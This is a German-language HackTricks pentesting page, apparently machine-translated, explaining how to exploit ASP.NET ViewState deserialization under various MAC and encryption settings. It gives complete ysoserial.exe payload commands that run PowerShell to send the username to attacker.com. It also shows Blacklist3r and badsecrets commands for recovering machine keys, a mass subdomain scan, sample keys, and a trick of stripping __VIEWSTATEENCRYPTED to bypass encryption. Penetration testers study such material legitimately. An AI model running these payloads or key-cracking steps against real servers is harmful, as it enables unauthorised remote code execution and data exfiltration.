hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

18 KiB
Raw Blame History

Ausnutzen von __VIEWSTATE, ohne die Geheimnisse zu kennen

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie noch heute bei https://go.intigriti.com/hacktricks bei und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

Was ist ViewState

ViewState dient als Standardmechanismus in ASP.NET, um Daten von Seiten und Steuerelementen über Webseiten hinweg beizubehalten. Während der HTML-Generierung einer Seite werden der aktuelle Zustand der Seite und Werte, die während eines Postbacks erhalten bleiben sollen, in base64-codierten Zeichenfolgen serialisiert. Diese Zeichenfolgen werden dann in versteckte ViewState-Felder platziert.

ViewState-Informationen können durch die folgenden Eigenschaften oder deren Kombinationen charakterisiert werden:

  • Base64:
  • Dieses Format wird verwendet, wenn sowohl die Attribute EnableViewStateMac als auch ViewStateEncryptionMode auf false gesetzt sind.
  • Base64 + MAC (Message Authentication Code) aktiviert:
  • Die Aktivierung von MAC wird durch Setzen des Attributes EnableViewStateMac auf true erreicht. Dies bietet eine Integritätsprüfung für ViewState-Daten.
  • Base64 + Verschlüsselt:
  • Die Verschlüsselung wird angewendet, wenn das Attribut ViewStateEncryptionMode auf true gesetzt ist und gewährleistet die Vertraulichkeit der ViewState-Daten.

Testfälle

Das Bild ist eine Tabelle, die verschiedene Konfigurationen für ViewState in ASP.NET basierend auf der .NET-Framework-Version darstellt. Hier ist eine Zusammenfassung des Inhalts:

  1. Für jede Version von .NET, wenn sowohl MAC als auch Verschlüsselung deaktiviert sind, wird kein MachineKey benötigt, und somit gibt es keine anwendbare Methode, um ihn zu identifizieren.
  2. Für Versionen unter 4.5, wenn MAC aktiviert ist, aber die Verschlüsselung nicht, wird ein MachineKey benötigt. Die Methode zur Identifizierung des MachineKeys wird als "Blacklist3r" bezeichnet.
  3. Für Versionen unter 4.5, unabhängig davon, ob MAC aktiviert oder deaktiviert ist, wenn die Verschlüsselung aktiviert ist, wird ein MachineKey benötigt. Die Identifizierung des MachineKeys ist eine Aufgabe für "Blacklist3r - Zukünftige Entwicklung".
  4. Für Versionen 4.5 und höher erfordern alle Kombinationen von MAC und Verschlüsselung (ob beide wahr sind oder einer wahr ist und der andere falsch) einen MachineKey. Der MachineKey kann mit "Blacklist3r" identifiziert werden.

Testfall: 1 EnableViewStateMac=false und viewStateEncryptionMode=false

Es ist auch möglich, den ViewStateMAC vollständig zu deaktivieren, indem der Registrierungsschlüssel AspNetEnforceViewStateMac auf null gesetzt wird in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifizierung von ViewState-Attributen

Sie können versuchen festzustellen, ob ViewState durch das Capturing eines Requests mit diesem Parameter in BurpSuite MAC-geschützt ist. Wenn kein MAC verwendet wird, um den Parameter zu schützen, können Sie ihn mit YSoSerial.Net ausnutzen.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Entwickler können ViewState entfernen, sodass es kein Teil des HTTP-Requests wird (der Benutzer erhält dieses Cookie nicht).
Man könnte annehmen, dass, wenn ViewState nicht vorhanden ist, ihre Implementierung vor potenziellen Sicherheitslücken geschützt ist, die durch ViewState-Deserialisierung entstehen könnten.
Das ist jedoch nicht der Fall. Wenn wir den ViewState-Parameter zum Anforderungskörper hinzufügen und unser serialisiertes Payload, das mit ysoserial erstellt wurde, senden, können wir immer noch Codeausführung erreichen, wie in Fall 1 gezeigt.

Testfall: 2 .Net < 4.5 und EnableViewStateMac=true & ViewStateEncryptionMode=false

Um ViewState MAC zu aktivieren für eine bestimmte Seite, müssen wir folgende Änderungen an einer bestimmten aspx-Datei vornehmen:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Wir können dies auch für die gesamte Anwendung tun, indem wir es in der web.config-Datei wie unten gezeigt einstellen:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Da der Parameter dieses Mal durch MAC geschützt ist, benötigen wir zunächst den verwendeten Schlüssel, um den Angriff erfolgreich auszuführen.

Sie können versuchen, Blacklist3r(AspDotNetWrapper.exe) zu verwenden, um den verwendeten Schlüssel zu finden.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, daher gibt es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit. Für .NET-Viewstates gibt es ein "Python-Blacklist3r"-Dienstprogramm, das der schnellste Weg ist, es zu verwenden.

Es kann entweder direkt mit dem Viewstate und dem Generator bereitgestellt werden:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Oder es kann direkt mit der Ziel-URL verbunden werden und versuchen, den Viewstate aus dem HTML herauszuschneiden:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Um nach gefährdeten Viewstates im großen Maßstab zu suchen, kann das badsecrets BBOT Modul in Verbindung mit der Subdomain-Enumeration verwendet werden:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Wenn Sie Glück haben und der Schlüssel gefunden wird, können Sie mit dem Angriff mit YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In Fällen, in denen der _VIEWSTATEGENERATOR-Parameter nicht vom Server gesendet wird, müssen Sie den --generator-Parameter nicht angeben, aber diese:

--apppath="/" --path="/hello.aspx"

Testfall: 3 .Net < 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true

In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und Sie benötigen den Machine Key, um Ihr Payload zu verschlüsseln, um die Schwachstelle auszunutzen.

In diesem Fall ist das Blacklist3r Modul in Entwicklung...

Vor .NET 4.5 kann ASP.NET einen unverschlüsselten ___VIEWSTATE_Parameter von den Benutzern akzeptieren, selbst wenn ViewStateEncryptionMode auf Always gesetzt wurde. ASP.NET überprüft nur das Vorhandensein des __VIEWSTATEENCRYPTED Parameters im Request. Wenn man diesen Parameter entfernt und das unverschlüsselte Payload sendet, wird es dennoch verarbeitet.

Daher können Angreifer, wenn sie einen Weg finden, um den Machinekey über eine andere Schwachstelle wie Dateitraversal zu erhalten, YSoSerial.Net Befehl, der im Fall 2 verwendet wird, verwendet werden, um RCE mithilfe der ViewState-Deserialisierungsschwachstelle durchzuführen.

  • Entfernen Sie den __VIEWSTATEENCRYPTED Parameter aus dem Request, um die ViewState-Deserialisierungsschwachstelle auszunutzen, sonst wird ein Viewstate-MAC-Validierungsfehler zurückgegeben und der Angriff schlägt fehl.

Testfall: 4 .Net >= 4.5 und EnableViewStateMac=true/false und ViewStateEncryptionMode=true/false außer beide Attribute auf false gesetzt

Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den untenstehenden Parameter in der web.config-Datei wie unten gezeigt angeben.

<httpRuntime targetFramework="4.5" />

Alternativ kann dies durch Angabe der folgenden Option im machineKey-Parameter der web.config-Datei durchgeführt werden.

compatibilityMode="Framework45"

Wie zuvor ist der Wert verschlüsselt. Um also ein gültiges Nutzlast zu senden, benötigt der Angreifer den Schlüssel.

Du kannst versuchen, Blacklist3r(AspDotNetWrapper.exe) zu verwenden, um den verwendeten Schlüssel zu finden:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Für eine ausführlichere Beschreibung von IISDirPath und TargetPagePath siehe hier

Oder mit Badsecrets (mit einem Generatorwert):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Sobald ein gültiger Machine-Schlüssel identifiziert wurde, ist der nächste Schritt, ein serialisiertes Payload zu generieren, indem YSoSerial.Net verwendet wird.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Wenn Sie den Wert von __VIEWSTATEGENERATOR haben, können Sie versuchen, den --generator-Parameter mit diesem Wert zu verwenden und die Parameter --path und --apppath zu omitieren.

Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsschwachstelle führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der in einer Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" zu finden ist. Für weitere Details darüber, wie der Ausnutzungsprozess funktioniert und wie Tools wie Blacklist3r zur Identifizierung des MachineKeys verwendet werden können, können Sie den bereitgestellten PoC of Successful Exploitation überprüfen.

Testfall 6 ViewStateUserKeys werden verwendet

Die ViewStateUserKey-Eigenschaft kann dazu verwendet werden, sich gegen einen CSRF-Angriff zu verteidigen. Wenn ein solcher Schlüssel in der Anwendung definiert wurde und wir versuchen, das ViewState-Payload mit den bisher besprochenen Methoden zu generieren, wird das Payload nicht von der Anwendung verarbeitet.
Sie müssen einen weiteren Parameter verwenden, um das Payload korrekt zu erstellen:

--viewstateuserkey="randomstringdefinedintheserver"

Ergebnis einer erfolgreichen Ausnutzung

Für alle Testfälle, wenn das ViewState YSoSerial.Net-Payload erfolgreich funktioniert, antwortet der Server mit "500 Interner Serverfehler" und der Antwortinhalt lautet "Die Zustandsinformationen sind ungültig für diese Seite und könnten beschädigt sein" und wir erhalten die OOB-Anfrage.

Überprüfen Sie hier weitere Informationen

Referenzen

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei https://go.intigriti.com/hacktricks bei und beginnen Sie noch heute, Prämien von bis zu 100.000 $ zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: